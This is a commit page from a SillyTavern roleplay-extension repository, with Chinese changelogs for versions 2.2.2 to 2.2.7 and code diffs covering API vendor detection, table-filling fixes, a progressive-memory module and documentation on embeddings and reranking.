  - 遇到不支持 `tool_choice` 的接口时自动降级重试
  - 对思考模型注入强制调用指令,防止绕过工具直接输出文本
  - 全部走 ST 后端代理,修复 CSP 拦截直连外部 URL 的问题
- **主界面新增提示词链编辑器入口**,同时调换了记忆管理与角色世界书的按钮位置
- **规则中心**新增"自动排除用户楼层"选项
### 修复
- 提示词链按钮点击无响应(改为事件委托方式绑定)
- 拖拽组件微抖误触发(加 5px 移动阈值过滤)
- 填表检查窗若干问题修复;翰林院(批量回填)修复;防抖逻辑落地
- 角色世界书入口添加使用警告弹窗(强制 10 秒倒计时),提示该功能长期未维护
- ApiProfile `fakeStream` 字段保存丢失问题
- 正文优化默认改为关闭状态
- NGMS / NCCS API 配置槽位标签修正(NGMS→总结,NCCS→填表)
- API Profile 面板选择逻辑统一重构,修复多处旧字段覆盖新配置的问题
- 世界书控制参数兼容性修复(排除递归、插入位置、扫描深度等,适配 ST 1.17.0+)
2026-05-27 11:10:55 +08:00
Jenkins CI
e00302d04b ci: auto build & obfuscate [2026-05-27 09:15:49] (Jenkins #23) 2026-05-27 09:15:49 +08:00
Jenkins CI
dabc8992f1 ci: auto build & obfuscate [2026-05-17 17:36:51] (Jenkins #22) 2026-05-17 17:36:51 +08:00
69 changed files with 4223 additions and 1618 deletions

View File

@@ -6,6 +6,7 @@ import { extension_settings, getContext } from "/scripts/extensions.js";
import { compatibleTriggerSlash } from '../../core/tavernhelper-compatibility.js';
import { getSlotProfile, providerToApiMode } from '../../core/api/api-resolver.js';
import { configManager } from '../../utils/config/ConfigManager.js';
import { detectVendor } from '../../utils/api-vendor.js';
function normalizeApiResponse(responseData) {
let data = responseData;
@@ -180,7 +181,7 @@ async function callCwbOpenAITest(messages, options) {
};
});
const isGoogleApi = validatedOptions.apiUrl.includes('googleapis.com');
const isGoogleApi = (await detectVendor(validatedOptions.apiUrl)) === 'google';
const requestBody = {
chat_completion_source: 'openai',
@@ -648,7 +649,7 @@ export async function callCustomOpenAI(messages) {
throw new Error('API URL/Model未配置。');
}
const isGoogleApi = state.customApiConfig.url.includes('googleapis.com');
const isGoogleApi = (await detectVendor(state.customApiConfig.url)) === 'google';
const requestBody = {
messages: messages,

View File

@@ -449,6 +449,30 @@ export function bindSettingsEvents($settingsPanel) {
$(document).trigger('cwb:master-switch-changed', { isEnabled: isChecked });
});
// 处理来自 API 配置面板总开关同步的 change 事件(该面板通过 dispatchEvent 设置 checkbox 状态)
// jQuery 的 .prop('checked') 不触发 change故与上方 click 处理器不会双重触发
$panel.on('change', '#cwb_master_enabled-checkbox', function () {
const isChecked = $(this).prop('checked');
getSettings().cwb_master_enabled = isChecked;
const overrides = JSON.parse(localStorage.getItem(CWB_BOOLEAN_SETTINGS_OVERRIDE_KEY) || '{}');
overrides.cwb_master_enabled = isChecked;
localStorage.setItem(CWB_BOOLEAN_SETTINGS_OVERRIDE_KEY, JSON.stringify(overrides));
state.masterEnabled = isChecked;
saveSettingsDebounced();
updateControlsLockState();
const $viewerButton = $(`#${CHAR_CARD_VIEWER_BUTTON_ID}`);
if ($viewerButton.length > 0) {
$viewerButton.toggle(isChecked && state.viewerEnabled);
}
showToastr('info', `CharacterWorldBook 已 ${isChecked ? '启用' : '禁用'}`);
$(document).trigger('cwb:master-switch-changed', { isEnabled: isChecked });
});
}
function updateApiModeUI(mode) {

View File

@@ -8,6 +8,7 @@
import { saveSettingsDebounced } from '/script.js';
import { amilyHelper } from '../../core/tavern-helper/main.js';
import { configManager } from '../../utils/config/ConfigManager.js';
import { watchProfileSliderGuard } from '../../ui/profile-slider-guard.js';
const { jQuery: $, SillyTavern } = window;
@@ -699,6 +700,9 @@
saveSettingsDebounced();
});
// cwb 槽分配 profile 后,温度/maxTokens 由 profile 权威控制T-006 informational 化)
watchProfileSliderGuard('cwb', ['#cwb-temperature', '#cwb-max-tokens']);
$('#cwb-test-connection').off('click').on('click', async function() {
const $button = $(this);
$button.prop('disabled', true).html('<i class="fas fa-spinner fa-spin"></i> 测试中...');

162
DEPLOY_NOTE.md Normal file
View File

@@ -0,0 +1,162 @@
# 部署更新日志
每个版本块格式:`## v{version}`Jenkins 构建时自动提取对应块作为 GitHub 提交说明。
---
## v2.2.2
### 新功能
- **Function Call 填表模式**:在填表设置中新增独立开关,启用后支持通过 OpenAI 兼容接口DeepSeek / OpenRouter / 各类中转等)直接返回结构化操作列表,绕过 `<Amily2Edit>` 文本解析路径,填表更稳定
- 遇到不支持 `tool_choice` 的接口时自动降级重试
- 对思考模型注入强制调用指令,防止绕过工具直接输出文本
- 全部走 ST 后端代理,修复 CSP 拦截直连外部 URL 的问题
- **主界面新增提示词链编辑器入口**,同时调换了记忆管理与角色世界书的按钮位置
- **规则中心**新增"自动排除用户楼层"选项
### 修复
- 提示词链按钮点击无响应(改为事件委托方式绑定)
- 拖拽组件微抖误触发(加 5px 移动阈值过滤)
- 填表检查窗若干问题修复;翰林院(批量回填)修复;防抖逻辑落地
- 角色世界书入口添加使用警告弹窗(强制 10 秒倒计时),提示该功能长期未维护
- ApiProfile `fakeStream` 字段保存丢失问题
- 正文优化默认改为关闭状态
- NGMS / NCCS API 配置槽位标签修正NGMS→总结NCCS→填表
- API Profile 面板选择逻辑统一重构,修复多处旧字段覆盖新配置的问题
- 世界书控制参数兼容性修复(排除递归、插入位置、扫描深度等,适配 ST 1.17.0+
---
## v2.2.3
### 新功能
- Function Call 填表开关下方新增公益站风险提示横幅:部分公益站会屏蔽 tools 参数,请确认支持情况避免被意外封禁
### 修复
- **Function Call 填表**
- 修复 ST 代理以 HTTP 200 + error body 形式返回错误、导致降级重试机制从未触发的问题
- 修复思考模式模型(如 DeepSeek v4-flash因 tool_choice 不兼容返回 Bad Request 后正确降级并重试
- 重试时自动追加强制调用指令,防止思考模型绕过工具直接输出文本造成无效二次开销
- **超级记忆 / 翰林院**
- 修复 `getRagSettings()` 读写顶层路径而非嵌套路径,导致打开超级记忆面板后向量化、归档等开关在重载时被全默认值覆盖的问题
- 修复自动归档失效问题
- 修复归档管理器在同一事件中被三次触发的回归问题
- 修复翰林院设置旧版迁移逻辑异常
---
## v2.2.4
### 新功能
- **Function Call 填表**
- FC 首次请求时对 DeepSeek 系模型自动附加 `thinking: { type: "disabled" }`,避免思考模式与 tool_choice 冲突
- 操作列表为空时在日志面板输出原始响应 JSON便于区分"AI 判断无需变更"、"格式校验全部不通过"和"JSON 解析失败"三种情况
### 修复
- **剧情优化**:移除剧情优化页面遗留的 Jqyh 直连配置字段URL / Key / Model统一走 API 连接配置功能分配槽位
- **表格**
- 补全 `batch-filling-threshold` 批处理阈值的持久化绑定(页面刷新后不再还原为默认值 30
- 修复分步填表并发锁与 async/await 时序问题
- 修复外层多余 `try...finally` 导致的插件加载报错
- **Rerank**
- 修复选择连接配置后报"API Key 未配置"的问题(`apiMode` 现从设置读取而非硬编码 `custom`
- 补全 `hly-rerank-api-mode` 加载绑定及默认值
- **翰林院 RAG**:补全 `priorityRetrieval.sources` 各来源条目的缺失键,修复设置面板回填 TypeError
---
## v2.2.5
### 修复
- **翰林院RAGAPI Key 污染**
- 修复 `saveSettingsFromUI` 无差别遍历翰林院面板内全部 `[data-setting-key]` 输入(包含被 `profile-sync` 接管隐藏的字段),导致掩码占位符 `••••••••` 被当作真值写回 `settings.rerank.apiKey` / `settings.retrieval.apiKey`URL / model 也被 Profile 值覆盖到 legacy 字段。修复后会跳过祖先带 `data-profile-hidden` 的输入
- `getRerankSettings` / `getEmbedRetrievalSettings` 同时加入防御性还原:识别历史污染留下的 `••••••••` 时归为空字符串,避免取消 Profile 分配后实际请求带占位符 token 被 401
- **二次填表**
- 修复 `secondary-filler.js` 把哈希/重试次数写入非持久化的 `msg.metadata` 字段ST 标准位是 `msg.extra`),导致刷新后去重与重试计数失效
- 修复扫描深度重复计入 `bufferSize``contextLimit + buffer + batch + redundancy``contextLimit + batch + redundancy`),避免越过预期窗口
- SWIPED 事件改走扫描路径,不再用 `targetMessage` bypass 强填最末条,`保留缓冲区(bufferSize)` 设置在滑动场景下正确生效(手动"回退重填"按钮仍保留 bypass意图明确
- 修复 FCFunction Call路径下成功填表与"AI 判断无需修改"两种结果均未写回 `amily2_process_hash``saveChat()` 的问题——之前导致 FC 模式去重完全失效,最旧的未处理楼层会被每次扫描重复发给 AI现统一回写路径为 `markTargetsProcessed`
- FC 空操作时同步输出原始响应 JSON 到控制台(与批量回填日志面板保持一致),便于区分"无需变更"/"格式校验失败"/"JSON 解析失败"
- 修复 `fillWithSecondaryApi` 入口处过早设置 `secondaryFillerRunning = true`,导致防抖/总开关关闭/聊天过短/非分步模式/系统瘫痪五条早返路径均不解锁的死锁问题(特别是防抖路径——锁住后 setTimeout 回调撞上自己的锁,永久跳过后续触发)。锁的获取已挪到所有早返检查之后、`try` 块之前
- **填表设置面板**:新增"手动解除填表锁"按钮(位于触发延迟下方),用于兜底应急——若仍遇到"分步填表正在进行中,跳过本次触发"反复刷屏,可手动点击释放
- **API 调用层全面支持 AbortController**`callAI` / `callAIForTools` / `callNccsAI` 及其全部下游 provider
- 新增 `options.signal` 透传OpenAI 兼容 / OpenAI(测试) / Google 直连 / ST 后端 / FC 等所有 `fetch` 调用均接受 `AbortSignal`
- `callSillyTavernBackend``$.ajax` 改写为 `fetch`,以原生支持 signal
- `callSillyTavernPreset` / `callNccsSillyTavernPreset` 通过 `raceAgainstSignal` 兜底,外部不可终止的 `ConnectionManagerRequestService.sendRequest` 也能在 signal 触发时即时返回 AbortError
- 全部 catch 块识别 `AbortError`rethrow 而不弹错误 toastFC 重试逻辑识别中断后跳过重试
- **填表设置面板**:在"手动解除填表锁"旁新增"强制中断当前填表"按钮——通过 AbortController 真正掐断 fetch 连接fetch 立即抛错),结果会被丢弃,不会污染表格 / hash / `saveChat`
---
## v2.2.7
### 修复
- **分步填表 · 保留楼层场景下 swipe 最新楼会回退掉已填内容**:开启「保留楼层(bufferSize)」后,分步填表处理的是较早楼层、状态本应绑定到「被填楼层里最后一条」(E)。但 `updateTableFromText` / `updateTableFromOps` 在应用完操作后会**统一把表格状态写到聊天最新楼 L**,覆盖了随后 `markTargetsProcessed` 写到 E 的快照(`loadTables` 从尾部回溯先命中 L。结果状态实际落在 L 上,**滑动/重新生成最新楼时 `rollbackState` 回退到上一轮快照,把本轮填入的内容一起丢掉、且因较早楼层的 hash 仍在而不再重填**。
- 修复:给 `updateTableFromText` / `updateTableFromOps` 增加 `skipPersist` 选项;分步填表(文本 / Function Call / 手动应用三条 commit 路径)统一传入,跳过"写最新楼",改由 `markTargetsProcessed` 把状态保存到 E。
- `bufferSize=0`(默认)时 E 即最新楼,行为与旧版一致;仅 `bufferSize>0` 的保留楼层场景受影响并被修复。
---
## v2.2.6
### 新功能
- **翰林院向量化质量升级**
- **边界感知切块**:替换四个来源(聊天记录/小说/世界书/手动)的纯字符硬切——优先在段落边界断开,其次句末标点(含中文引号闭合),极端长串才硬切;句子/对话不再被拦腰截断embedding 质量同步受益。仅影响新录入,已有向量无需重建
- **注入时序重排**:检索结果注入提示词前按时序重排(聊天记录按楼层、小说按卷/章/节——中文数字章节号可解析rerank 只决定"选哪些块",不再决定呈现顺序;修复"不打不相识的剧情之后紧跟关系亲密"这类因按相关度排序导致的认知时间错乱
- **断层提示**:聊天记录相邻块楼层跳跃时自动插入"与上文相隔约 N 楼,并非连续发生"提示行,消除中间剧情缺失造成的割裂感
- **时间标识**新录入的聊天记录块在来源标识中带上消息发送时间ST 向量存储不持久化元数据,时间必须写入块文本才能在检索后取回;旧格式块兼容解析)
- **记忆块工作流memory-blocks**:剧情优化新增"自定义记忆块"体系——占位符驱动的并发工作流框架
- 在剧情优化面板「匹配替换 (sulv)」下方可增删自定义块:每个块定义一个占位符,执行剧情优化时主/拦截提示词中的占位符会被块的产出替换
- **静态块**:直接输出固定内容;**AI 调用块**:用所选 API 功能槽独立请求一次,把回复(或其中指定 `<标签>` 的内容)作为替换值
- 原有 sulv1-4 速率占位符迁入同一框架,行为与旧版逐字节一致
- 块定义为纯 JSON、随设置持久化为后续导入导出与战斗系统接入预留扩展点
- 框架层新增**顺序拼接式 Chain**`composeChain`):与占位符替换并列的第二种组合范式——同链的块并发执行后按 `order` 排序、以 `separator` 拼接并可选 `header/footer` 包裹,产出一个完整注入块;为记忆注入合成块与战斗系统"底部战报块"预留的承载结构,本版本暂无 UI 入口
- **渐进记忆(开发中功能,暂未对外开放)**:主菜单新增独立入口(点击提示"开发中,未来版本开放"),后续完善后放出。当前已落地的设计:
- 按"近期完整、远期摘要"的时间梯度,从指定表格(默认总结表,行序旧→新)采样历史并注入上下文:最新 X 行全量保留 + 其余历史对半拆分,较近一半等距取 Y 行、较远一半等距取 Z 行(中心对齐等距采样,不随机、不首尾加权,避免内容扎堆或事件结局被规律性忽略)
-`setExtensionPrompt` 直接注入当回合上下文——内容独立、不写世界书、不随聊天/角色卡导出,生命周期天然跟随会话(区别于超级记忆的世界书条目路线)
- 注入位置 / 深度 / 角色 / 模板(含 `{{progressive_memory}}` 占位符)均可在面板配置;采样参数 X/Y/Z 默认 5/5/3全部纯 JSON 持久化
- 采样器 `sampler.js` 为纯函数,参数结构与 memory-blocks 工作链对齐,后续可平移为 `progressive_sample` 节点
- **超级记忆 · 首行常驻**(表格专属配置新增开关,默认关闭):表格第一行通常是总调/全局定义行(基调、主线目标等),原先与普通行一样走绿灯——没人提到主键就永远不注入;开启后该行详情条目升为蓝灯常驻,切换即时生效
- **API 连接配置**
- 角色世界书cwb与一键生卡autoCharCard纳入旧配置自动迁移老用户首次加载会把旧 URL / Key / 模型自动迁移为连接配置并分配槽位(一键生卡仅在规划者与执行者配置一致或规划者为空时迁移,避免悄悄改变行为)
- **profile 已分配时参数控件 informational 化**:主面板 / 并发剧情优化 / 角色世界书 / 术语表的温度、maxTokens 控件在槽位分配 profile 后自动禁用并显示"由连接配置控制"提示,消除"改了没效果"的用户陷阱
- **profile 状态卡新增"本设备无 Key"警示**API Key 仅保存在最初填写它的设备/浏览器上(安全设计,不随云端设置同步),换设备后状态卡会直接亮出警示徽标,不必等到调用报错才发现
### 修复
- **独立聊天记忆从摆设变真功能**:此前向量数据"随卡不随聊天"——开启"独立聊天记忆"后录入仍存进角色库、查询却去查一个从未被写入过的聊天集合、计数恒为 0整体静默失效。现已重构为聊天级分桶
- 独立模式下,聊天记录类向量按当前聊天隔离存储与检索,同一张卡开多个聊天(不同剧情线)的记忆互不污染
- 小说 / 世界书 / 手动录入属于"知识",仍随角色卡跨聊天共享;全局库不受影响
- 知识管理列表为聊天专属库显示"聊天级"徽标;聊天级库禁止移动到全局
- 统一模式(默认关闭独立记忆)的存量数据与行为完全不变
- 已知限制:聊天专属记忆跟随聊天文件,重命名聊天文件会使其失联(与 ST 官方向量扩展同等限制)
- **超级排序截断顺序修正**:开启"超级排序"时,时序重排发生在 top_n 截断之前,导致保留的是"时序最早"而非"最相关"的块,检索结果长期偏向最旧的聊天记录。现改为先按相关度截取 top_n、再做时序排序
- **翰林院向量化失败("向量化块数量不识别"反馈)**
- 一次性清洗 profile-sync 历史污染:`retrieval/rerank.apiKey` 中的掩码占位符在持久层根治(此前仅读取侧防御);`apiEndpoint` / `rerank.apiMode` 的非法值(如被旧版写入的空字符串)归一化为 `custom`
- 修复 `apiEndpoint` 为空/非法时请求被硬定向到 `api.openai.com`、无视用户自定义 URL 的问题CSP 拦截 / 401 的元凶)
- 修复**本地代理LM Studio/Ollama模式**自始就缺少 URL 分支、同样被错误定向到 openai.com 的问题
- API 模式下拉补全 `OpenAI 官方` / `Azure` 选项;默认 API 模式改为 `custom`(与默认 URL 配套),新用户不再因选项缺失导致首次保存写入空值
- profile-sync 给下拉框赋不存在选项值的污染源头修复(影响所有模块面板,不止翰林院)
- **Rerank "测试成功但实际请求报 API Key 未提供"(路径分叉根因)**:实际重排调用 `executeRerank(query, docs, settings.rerank)` 直接把 legacy 嵌套设置当连接传入,绕过了 `getRerankSettings()` 的 profile 解析;而「测试连接」传 `null` 会正常解析 profile——于是用 API Profile 配 rerank 的用户测试通过、实际生成时却拿到空 apiKey/stale url 报错。现实际调用点统一走 `getRerankSettings()`profile 优先、legacy 兜底),与测试路径一致;`enabled / notify / hybrid_alpha` 等行为开关仍读 legacy 设置
- **Rerank "API Key 未提供"报错升级**:当原因是"连接配置在本设备没有可用 Key"时,报错会直接说明 Key 的设备本地性并指引到 API 连接配置重新填写(向量化 Google 直连、获取模型列表同步处理)
- **旧配置迁移**:一键生卡迁移时排除掩码占位符,避免把历史污染的假 Key 迁入新连接配置
- **超级记忆稳定性专项**(针对"工作不大稳定"反馈4 处根因一次修复):
- **切聊天竞态污染**CHAT_CHANGED 时超级记忆立即全量同步,而表格系统延迟 100ms 才加载新聊天的表格,导致【旧聊天】的表格内容被写进【新角色】的记忆世界书;两边表名不同时旧表条目无 GC 兜底会**永久残留**"记忆串台"元凶)。现 CHAT_CHANGED 只确保世界书存在,新状态同步交由 `loadTables()` 完成后的自动推送,单次且时序正确
- **死代码双轨存储拆除**`saveStateToMetadata` / `tryRestoreStateFromMetadata` 把表格状态写到 `msg.metadata`——该字段非 ST 持久化位(同 v2.2.5 二次填表修过的坑),写入即蒸发、恢复永远为空,且每次同步还白调一次 `saveChat()`。整条链路删除,表格状态唯一信源为表格系统的 `msg.extra.amily2_tables_data`
- **`awaitSync()` 穿透**:同步队列正忙时 `pushUpdate` 会用一个立即 resolve 的空 Promise 覆盖 `_syncPromise`Pipeline Stage 4 等待形同虚设、后续阶段在同步未完成时被放行。现忙时不覆盖,正在运行的 drain 循环自然吃掉新入队项
- **开关打开不生效**:启动时若总开关为关,初始化早退且不注册监听器;此后在 UI 勾选开关只写设置,超级记忆直到刷新页面前都是死的。现勾选即触发初始化(幂等)
- 附带:`forceSyncAll` 的表格角色推断改为复用 `events-schema.inferTableRole`消除两处重复逻辑漂移风险每次切聊天的双倍全量同步restore 路径一次 + 显式一次)随死代码移除归一
### 重构
- 表格核心 `manager.js` 瘦身(约 1050 → 600 行19 个 UI 突变操作拆分至 `actions/ui-mutations.js`SuperMemory 事件分发拆分至 `events-dispatch.js`;全部经 re-export 保持兼容,外部调用路径零改动
- 角色世界书最后 2 处散乱的厂商 URL 判断迁移至 `detectVendor` 统一入口,业务路径上不再有硬编码的 URL substring 判断

View File

@@ -10,6 +10,66 @@
---
### 0. 原理速览文本向量化Embedding & Rerank
> 本节并非专业科普文献,不建议作为专业知识内容进行参考——只为帮你理解翰林院"为什么需要两套模型、它们各管什么"。
文本向量化的作用和意义是:**让计算机可以读懂人类的语言,并且可以找到最接近的内容(或理解其意思)**。
#### Embedding 模型(忆识检索用)
比如我们有 3 个类型的标签,分别为:电子设备、体育运动、水果。
当我们传入"苹果手机"、"华为手机"、"跑步机"、"苹果"时,向量化后会得到每个文本的数字表示(通常是几百维的向量),如:
```
苹果手机: [0.2, 0.8, -0.1, 0.7, ...] (300个数字)
华为手机: [0.3, 0.7, -0.2, 0.6, ...] (300个数字)
跑步机: [0.8, 0.1, 0.9, -0.3, ...] (300个数字)
苹果: [-0.1, 0.2, 0.8, 0.9, ...] (300个数字)
```
同时我们也有每个类别标签的向量表示:
```
电子设备: [0.1, 0.9, -0.2, 0.8, ...]
体育运动: [0.9, 0.2, 0.8, -0.1, ...]
水果: [-0.2, 0.1, 0.7, 0.8, ...]
```
**在实际应用中,我们通过计算相似度来找到最匹配的内容:**
1. **计算"苹果"与各标签的相似度**:与"水果"0.92、与"电子设备"0.15、与"体育运动"0.08
2. **计算"苹果手机"与各标签的相似度**:与"电子设备"0.88、与"水果"0.35、与"体育运动"0.12
3. **查找相似内容**:如果想找与"苹果手机"相似的内容——与"华为手机"0.95、与"跑步机"0.23、与"苹果"0.31
对计算机来说,直接的"苹果"、"手机"、"电子设备"等词语是不存在意义的,而向量化后的数字是可以被计算机理解和计算的。**向量化可以确保计算机或 AI 能知道你"可能"想找些什么,并找到最接近的内容。** 这正是"忆识检索"做的事:你的知识被切块、向量化存入宝库;对话时把最近的消息也向量化,按相似度捞出最相关的忆识。
#### Reranker 模型(忆识精炼用)
Rerank 模型和 Embedding 模型的功能类似,但更加精细,可以对候选内容给出"更符合查询意思"的评分,选出最贴切的内容块。
以下是一个极简示意(并不是 rerank 模型的实际工作机制,只为便于理解)。假设有个超简化的 Reranker只关注两个词"便宜"和"智能"
- **用户查询**"便宜的智能手机"
- **候选答案**:① "这款手机很智能" ② "这个价格很便宜" ③ "智能手机性价比高"
评分规则(简化版):匹配"便宜"+2 分、匹配"智能"+1 分、两个词都匹配额外 +3 分(奖励深度相关):
| 候选 | 匹配分析 | 总分 |
|---|---|---|
| ① 这款手机很智能 | 仅"智能" +1 | 1 |
| ② 这个价格很便宜 | 仅"便宜" +2 | 2 |
| ③ 智能手机性价比高 | "智能"+1、"性价比高"≈"便宜"+2、双匹配+3 | **6** |
Rerank 后:③ > ② > ①——原本排最后的"智能手机性价比高"被识别为最佳匹配。
#### 为什么两个都要
Rerank 模型比 Embedding 模型**算力需求更大(看看价格便可得知)、速度更慢,但更加精确**。所以最常见的组合就是:先由 Embedding 模型快速筛出特征相近的块(粗筛),再由 Reranker 在小范围内选出最贴合的块(精筛),既保证质量又节约 Token 用量。翰林院的"忆识检索"+"忆识精炼"两个页签正是这套组合。
---
### 1. 总览与核心开关
这里是翰林院的仪表面板,展示了核心状态并提供了最高权限的操作。

View File

@@ -60,9 +60,16 @@ export function makeDraggable($element, onClick, storageKey) {
});
};
const DRAG_THRESHOLD = 5;
const dragMove = (e) => {
if (!isDragging) return;
e.preventDefault();
if (!hasDragged) {
const coords = getEventCoords(e.originalEvent || e);
const dist = Math.abs(coords.x - startPos.x) + Math.abs(coords.y - startPos.y);
if (dist < DRAG_THRESHOLD) return;
}
hasDragged = true;
const coords = getEventCoords(e.originalEvent || e);

View File

@@ -194,7 +194,7 @@ export function toggleSettingsOrb() {
}
}
async function showPresetSettings() {
export async function showPresetSettings() {
const template = $(await renderExtensionTemplateAsync(presetSettingsPath, 'prese-settings'));
renderPresetManager(template);

View File

@@ -0,0 +1,22 @@
import { Module, ModuleBuilder } from './Module.js';
import { bindProgressiveMemoryEvents } from '../../core/progressive-memory/bindings.js';
const builder = new ModuleBuilder()
.name('ProgressiveMemory')
.view('core/progressive-memory/index.html')
.strict(true)
.required(['mount']);
export default class ProgressiveMemoryModule extends Module {
constructor() {
super(builder);
}
async mount() {
if (this.el) {
this.el.id = 'amily2_progressive_memory_panel';
this.el.style.display = 'none';
}
bindProgressiveMemoryEvents();
}
}

View File

@@ -19,6 +19,7 @@ import WorldEditorModule from './WorldEditorModule.js';
import GlossaryModule from './GlossaryModule.js';
import RendererModule from './RendererModule.js';
import SuperMemoryModule from './SuperMemoryModule.js';
import ProgressiveMemoryModule from './ProgressiveMemoryModule.js';
import ApiConfigModule from './ApiConfigModule.js';
import RuleConfigModule from './RuleConfigModule.js';
import SfiGenModule from './SfiGenModule.js';
@@ -34,6 +35,7 @@ export function registerAllModules() {
registry.register('Glossary', () => new GlossaryModule());
registry.register('Renderer', () => new RendererModule());
registry.register('SuperMemory', () => new SuperMemoryModule());
registry.register('ProgressiveMemory', () => new ProgressiveMemoryModule());
registry.register('ApiConfig', () => new ApiConfigModule());
registry.register('RuleConfig', () => new RuleConfigModule());
registry.register('SfiGen', () => new SfiGenModule());

14
TODO.md
View File

@@ -46,7 +46,7 @@
- 添加记忆管理并发调用
### 最新更新 (待发布)
### 2.1.1 (2026/04/23)
以下为修复内容:
- **自动写卡系统 Diff 视图修复**
@@ -81,6 +81,18 @@
- **Ngms API 强制参数**:在 `core/api/Ngms_api.js` 中,移除了旧版 UI 中的温度和最大 Token 设置,强制将默认温度设为 `1.0`,最大 Token 设为 `30000`,以确保总结任务的稳定性和完整性。
- **总结失败自动重试**:在 `core/historiographer.js` 中为“微言录”和“宏史卷”的生成过程添加了自定义重试逻辑。用户可在 UI 中设置重试次数,当 AI 返回空内容时,系统会自动等待并重试,降低了因 API 波动导致的总结失败率。
- **时间跨度标识优化**:修改了 `utils/settings.js` 中的”微言录”和”宏史卷”提示词,强制要求 AI 在提取时间时加入相对时间跨度标识 `(Xd)`(如 `2023-09-15(2d)-星期五-15:00`),以解决长篇剧情中因缺乏具体日期导致的时间线混乱问题。
- **翰林院设置回填中断修复Rerank 等开关无法回显的根因)**:修复了 `ui/hanlinyuan-bindings.js``loadSettingsToUI` 在处理“标签提取”相关 DOM`hly-tag-extraction-toggle` / `hly-tag-input` / `hly-tag-input-container`,已在 2.1.0 重构中删除)时对 `null` 赋值抛出 TypeError 的问题。由于该异常发生在 Rerank 设置回填之前,导致 Rerank 等开关虽已正确保存至 `extension_settings['hanlinyuan-rag-core']`,但刷新后 UI 不再回显,表现为“开关无法持久化”。清理相关 DOM 回填与 `bindInternalUIEvents` 中同名元素的事件绑定后Rerank 等翰林院面板设置可正常持久化显示。
- **翰林院孤儿引用清理**:移除 `ui/hanlinyuan-bindings.js``updateAndSaveSetting` 中对已删除函数 `syncHanlinLinkedRuleProfile` 的四处调用,修复了修改浓缩/查询预处理的标签提取或标签字段时抛出 ReferenceError 的问题2.1.0 重构遗留)。
- **超级记忆 RAG 设置路径修复**:修复了 `core/super-memory/bindings.js``getRagSettings` 使用错误路径 `extension_settings[extensionName]['hanlinyuan-rag-core']` 读写的问题。翰林院核心 (`core/rag-processor.js`) 使用的是顶层 `extension_settings['hanlinyuan-rag-core']`,改为一致路径后,归档开关 / 关联图谱开关 / 归档阈值等设置可正确持久化并与翰林院面板同步。
- **分步填表防抖延迟参数落地**:之前 `utils/settings.js``core/table-system/settings.js` 均声明了 `secondary_filler_delay` 默认值,但既没有 UI 入口也没有在代码中被读取。现已:
- 在「分步填表高级控制」面板新增「触发延迟 (毫秒)」数值输入(`assets/amily-data-table/Memorisation-forms.html`
-`ui/table-bindings.js` 中为该输入框补齐值回填与 `updateAndSaveTableSetting('secondary_filler_delay', ...)` 的 change 绑定;
-`core/table-system/secondary-filler.js``fillWithSecondaryApi` 入口处实现真正的防抖:自动触发(`forceRun=false`)且延迟 > 0 时,会用模块级定时器调度本次调用,延迟期内再次到来的触发会重置计时器;`forceRun=true` 的手动触发及重新填表仍会立即执行,并清掉待触发的防抖任务。
- **填表响应检查窗Amily2Edit 指令块缺失处理)**
- 新增 `ui/page-window.js``showTableFillReviewModal`,参照总结模块 `showSummaryModal` 的交互模式,提供原始响应查看/编辑、继续补全、重新填表、手动应用、取消五种操作。
- **批量填表 / 楼层填表**:修改 `core/table-system/batch-filler.js``runBatchAttempt``startFloorRangeFilling`,当 AI 响应缺少 `<Amily2Edit>` 指令块时不再直接抛错进入自动重试,而是弹出检查窗让用户查看原始报文;批次模式下会先将按钮置为“继续填表”暂停状态,操作结束后自动恢复流程;网络/空响应等其它异常仍走原有的 `MAX_RETRIES` 自动重试。
- **分步填表**:修改 `core/table-system/secondary-filler.js``fillWithSecondaryApi`,在缺少指令块时弹出同款检查窗,并将原先分散的“写表 → 存 hash → saveChat”流程抽取为 `commitSecondaryFillResult` 公共函数,供正常路径与手动应用路径复用;顺带补齐该文件缺失的 `log` 导入。
- **继续补全实现**:新增 `requestContinuation` / `requestSecondaryContinuation` 工具函数,将用户当前编辑的文本作为 `assistant` 消息追加到原始请求之后,并附加专用的“接续”用户提示词再次调用表格模型,将返回文本拼接到原文末尾回填到检查窗文本框中。
### 2.1.0 (2026/04/18)

View File

@@ -7,252 +7,97 @@
> - [TableTODO.md](TableTODO.md) — 表格模块 IAD 深度重构计划Phase 0/B/C
> - [TODO.md](TODO.md) — 旧版本变更日志(保留作为发布记录)
>
> 最后更新2026-05-08,对应 v2.2.0 已发布
> 最后更新2026-06-11,对应 v2.2.5+2603 分支)
---
## 一、最近落地v2.1.1 → v2.2.0
## 一、最近落地v2.2.0 → 当前
> 上下文摘要,让接手者了解当前状态。代码细节看对应 commit。
| commit | 内容 | 涉及范围 |
|--------|------|--------|
| `d283ff4` | 表格模块 IAD 解耦 + API 自定义参数 + 厂商预设连接 | `core/table-system/*` 新增 dto/infra/actions`assets/api-vendor-params.json`UI |
| `f022002` | DeepSeek registry 补 thinking 模式参数 | `assets/api-vendor-params.json` |
| `671c1b2` | profile 优先级修正profile 分配后即权威,旧字段不再覆盖 | `core/api.js` 6 处 `getApiSettings` |
| `68217ff` | legacy 自动迁移 + 清除按钮 + tableFilling slot + silent fallback 移除 | `ApiProfileManager.js` / `historiographer.js` / 表格 3 filler |
| `b40f575` | bump 2.2.0 + tableFilling 默认 link main | `manifest.json` / `ApiProfileManager.js` |
| `d283ff4` | 表格模块 IAD 解耦 + API 自定义参数 + 厂商预设连接 | `core/table-system/*` dto/infra/actions`assets/api-vendor-params.json`UI |
| `671c1b2` | profile 优先级修正profile 分配后即权威 | `core/api.js` 6 处 `getApiSettings` |
| `8b4b6b0` | 二级填表死锁修复 + 强制中断按钮AbortController 贯穿) | `secondary-filler.js` |
| `dc57a1d` | memory-blocks Phase 1占位符工作流抽象层sulv1-4 迁入 | `core/memory-blocks/*``summarizer.js` |
| `91ceecc` | memory-blocks Phase 2ai_call handler + 自定义块 UI 与持久化 | `core/memory-blocks/*`;剧情优化面板 |
| `6ad1354` | T-002cwb / autoCharCard 纳入 legacy 自动迁移(迁移版本化 v2 | `ApiProfileManager.js` |
| `784bd70` | T-006profile 已分配时参数控件 informational 化 | `ui/profile-slider-guard.js` + 4 面板 |
| `ef45e74` | T-007 / Phase 0.4manager.js 抽出 ui-mutations + events-dispatch | `core/table-system/*` |
**核心架构现状**(接手必读):
- **状态权威**`utils/config/ApiProfileManager.js` 是 API 配置单一指挥所profile 分配后即权威,旧字段`s.ngmsTemperature` 等)不再覆盖 profile
